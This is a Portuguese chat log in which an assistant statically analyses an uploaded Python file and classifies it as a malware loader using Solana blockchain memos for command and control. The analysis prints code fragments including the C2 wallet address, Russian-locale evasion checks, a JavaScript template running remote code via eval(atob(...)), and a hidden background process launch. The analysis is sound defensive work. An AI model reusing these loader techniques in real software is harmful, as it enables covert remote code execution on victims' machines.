You said:

codigo(3).py
Code

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 31s

ChatGPT said:

MALWARE — ALTA CONFIANÇA

Após analisar estaticamente o arquivo `codigo(3).py`, concluo que **ele é malicioso**. Seu comportamento corresponde principalmente a um **loader/downloader de malware com infraestrutura de comando e controle (C2) baseada na blockchain Solana**.

O programa não contém necessariamente a carga maliciosa final. Sua principal função é localizar instruções remotas, baixar código JavaScript e executá-lo na máquina da vítima.

1. Análise técnica passo a passo

Etapa 1 — Bibliotecas utilizadas

Nas primeiras linhas, o programa importa bibliotecas como:

```
import os
import sys
import json
import time
import base64
import platform
import subprocess
import urllib.request
import socket
import zipfile
import shutil
import asyncio
```

Essas bibliotecas permitem:

- Interagir com o sistema operacional.
- Consultar informações sobre a máquina.

- Realizar conexões HTTP.
- Baixar arquivos da Internet.
- Decodificar conteúdo em Base64.
- Executar outros processos.
- Trabalhar com arquivos e diretórios.

Isoladamente, essas bibliotecas são legítimas. Entretanto, suas funcionalidades serão utilizadas de maneira suspeita nas etapas seguintes.

Etapa 2 — Comunicação com a blockchain Solana

A função `_getSignFAddress()` consulta diversos servidores RPC da rede Solana.

Um dos métodos utilizados é:

```
"method": "getSignaturesForAddress",
"params": [public_key, {"limit": limit}]
```

O programa consulta assinaturas de transações associadas a um endereço específico.

Entre os servidores utilizados estão:

```
https://api.mainnet-beta.solana.com
https://solana-mainnet.gateway.tatum.io
https://solana-rpc.publicnode.com
https://solana.drpc.org
```

Comportamento suspeito: utilizar a blockchain como mecanismo de distribuição de instruções remotas.

Isso permite que o operador do malware publique informações na blockchain e que o programa as recupere por meio de transações.

Etapa 3 — Recuperação de instruções ocultas

A função `fvzsrnzlh()` procura transações que contenham informações no campo `memo`.

```
memo_transactions = [
    x for x in signatures if x and x.get('memo')
]
```

O programa utiliza o endereço:

```
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
```

Quando encontra uma transação com `memo`, extrai seu conteúdo e tenta interpretá-lo como JSON:

```
result = re.sub(r'\[\d+\]\s*', '', memo)

return json.loads(result)
```

Caso não encontre informações, continua consultando a blockchain em intervalos de 10 segundos.

Indício importante: a blockchain está sendo utilizada para transportar configurações ou instruções necessárias à execução de código remoto.

Etapa 4 — Mecanismo de evasão geográfica

A função `_isRussianSystem()` verifica características do sistema operacional.

Ela examina:

- Variáveis de ambiente relacionadas ao idioma.
- Nome de usuário.
- Configuração regional.
- Fuso horário.
- Deslocamento em relação ao UTC.

O código procura padrões associados à Rússia:

```
russian_patterns = [
    'ru_RU',
    'ru-RU',
    'russian',
    'россия',
    'русский'
]
```

Também verifica fusos horários russos.

A condição final é:

```
return is_russian_language and (
    is_russian_timezone or is_russian_offset
)
```

Caso identifique uma configuração compatível, interrompe a execução:

```
if _isRussianSystem():
    print("Russian system detected, skipping execution")
    return
```

Interpretação: trata-se de uma técnica de evasão geográfica, utilizada para evitar a execução da carga maliciosa em determinados ambientes.

Esse comportamento é particularmente suspeito quando combinado com os demais mecanismos encontrados.

Etapa 5 — Download de Node.js

A função `download_nodejs()` identifica o sistema operacional e sua arquitetura.

Em seguida, escolhe um pacote correspondente do Node.js 22.9.0.

Por exemplo:

```
url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip'
```

O programa baixa o arquivo, extrai seu conteúdo no diretório pessoal do usuário e remove o arquivo compactado.

Isso permite disponibilizar um ambiente Node.js mesmo quando ele não está instalado previamente na máquina.

O download utiliza o domínio legítimo `nodejs.org` , mas isso não torna o comportamento benigno: o runtime será utilizado para executar código remoto.

Etapa 6 — Comunicação com o servidor remoto

A função `scyzzvvy()` realiza uma requisição HTTP GET para uma URL recebida anteriormente.

```
req = urllib.request.Request(
    url,
    headers={'os': platform.system().lower()},
    method="GET"
)
```

Um detalhe importante é que o programa envia informações sobre o sistema operacional.

Depois, captura o conteúdo da resposta e dois cabeçalhos HTTP:

```
iv_base64 = response.headers.get(
    base64.b64decode("aXZiYXNlNjQ=").decode()
)

secret_key = response.headers.get(
    base64.b64decode("c2VjcmV0a2V5").decode()
)
```

As duas strings em Base64 correspondem aos nomes:

- `ivbase64`
- `secretkey`

Esses valores são fornecidos ao código JavaScript posteriormente executado.

Isso sugere a utilização de mecanismos criptográficos pela carga remota, embora o código analisado não permita confirmar qual algoritmo é utilizado.

Etapa 7 — Preparação e execução de código remoto

Esta é uma das evidências mais fortes de comportamento malicioso.

O programa monta um arquivo JavaScript contendo:

```
js_code = f"""var https = require("https");
const secretKey = '{secret_key}';
const _iv = Buffer.from('{ypbtv}', "base64");
eval(atob('{uezupbxi}'));"""
```

Observe especialmente:

```
eval(atob('{uezupbxi}'));
```

Essa instrução:

1. Recebe conteúdo codificado em Base64.
2. Decodifica o conteúdo.
3. Executa o resultado como código JavaScript.

Portanto, o programa permite que um operador remoto forneça instruções executáveis diretamente à máquina da vítima.

Não existe uma verificação de segurança do conteúdo recebido antes da execução.

Etapa 8 — Execução em segundo plano

O programa grava o código JavaScript em:

```
js_file_path = os.path.join(script_dir, 'i.js')
```

Depois executa:

```
subprocess.Popen(
    [node_exe, js_file_path],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
    creationflags=subprocess.CREATE_NO_WINDOW
        if platform.system() == 'Windows' else 0
)
```

Essa implementação apresenta características preocupantes:

- Executa o código em outro processo.
- Não apresenta a saída do programa.
- Descarta mensagens de erro.
- No Windows, utiliza `CREATE_NO_WINDOW` para evitar a criação de uma janela.

O resultado é uma execução relativamente discreta da carga remota.

Etapa 9 — Controle de execução por arquivo

O programa também manipula:

```
init_path = os.path.join(homedir, 'init.json')
```

Esse arquivo contém uma data utilizada para controlar a execução.

A validade é calculada da seguinte maneira:

```
expiry = check_date + timedelta(days=2)
```

Se o período ainda não tiver expirado, o programa interrompe a execução.

Caso contrário, atualiza a data.

No macOS, também cria esse arquivo.

Esse mecanismo funciona como um controle de intervalo de execução. Entretanto, não encontrei evidência suficiente para afirmar que ele instala persistência automática no sistema operacional, como inicialização junto ao sistema.

2. Principais indicadores de comportamento malicioso

Indicador	Evidência encontrada
Comunicação com C2	Consultas à blockchain Solana
Recuperação de instruções	Extração de dados do campo `memo`
Evasão geográfica	Verificação de idioma e fuso horário
Download de componentes	Download automático do Node.js
Execução de código remoto	Utilização de `eval(atob(...))`
Execução discreta	Processo em segundo plano e saída descartada
Transmissão de informações	Envio do sistema operacional ao servidor remoto
Controle de execução	Arquivo `init.json` com validade de dois dias

3. Classificação do malware

Loader / Downloader

CATEGORIA PRINCIPAL

O programa funciona como um carregador de malware: recupera instruções de uma infraestrutura baseada na blockchain, obtém código de um servidor remoto e executa esse código utilizando Node.js.

Características secundárias

- Blockchain-based C2 (comando e controle baseado em blockchain).
- Download de payload remoto.
- Execução dinâmica de código.
- Evasão geográfica.
- Execução discreta.

Não é possível determinar, apenas com esse arquivo, se a carga final é um trojan bancário, spyware, ransomware ou ladrão de credenciais. Essas funcionalidades podem estar presentes no JavaScript baixado, mas esse conteúdo não está incluído no arquivo analisado.

4. Veredito final

MALICIOSO

O arquivo `codigo(3).py` é um malware, com alta confiança na classificação.

As evidências determinantes são:

1. Utilização da blockchain Solana para obter instruções remotas.
2. Recuperação de uma URL controlada externamente.
3. Download de um ambiente de execução Node.js.
4. Execução de código JavaScript recebido remotamente por meio de `eval()`.
5. Técnicas de evasão geográfica e execução discreta.

Conclusão: a classificação mais apropriada é **Malware Loader/Downloader com C2 baseado em blockchain**.

A análise foi realizada estaticamente, sem executar o arquivo. A identificação da família específica e da finalidade da carga final depende da obtenção e análise do JavaScript remoto.

You said:

Qual é a categoria principal deste malware?

ChatGPT said:

Loader/Downloader (carregador e baixador de malware), com infraestrutura de comando e controle (C2) baseada na blockchain Solana.